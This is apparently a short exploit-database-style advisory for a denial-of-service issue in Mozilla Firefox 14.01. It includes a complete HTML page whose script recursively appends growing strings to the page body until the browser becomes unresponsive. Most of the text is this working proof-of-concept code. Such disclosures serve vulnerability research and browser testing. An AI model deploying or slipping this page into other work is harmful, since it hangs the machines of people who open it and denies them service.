An attacker can exploit this issue to make the affected computer unresponsive, denying service to legitimate users.
Mozilla Firefox 14.01 is affected; prior versions may also be affected.
Code exploit:
<html>
<head>
<title></title>
</head>
<body></body>
<script>
function e(x)
{
document.body.innerHTML += x;
e(x + 'x');
};
e('x')
</script>
</html>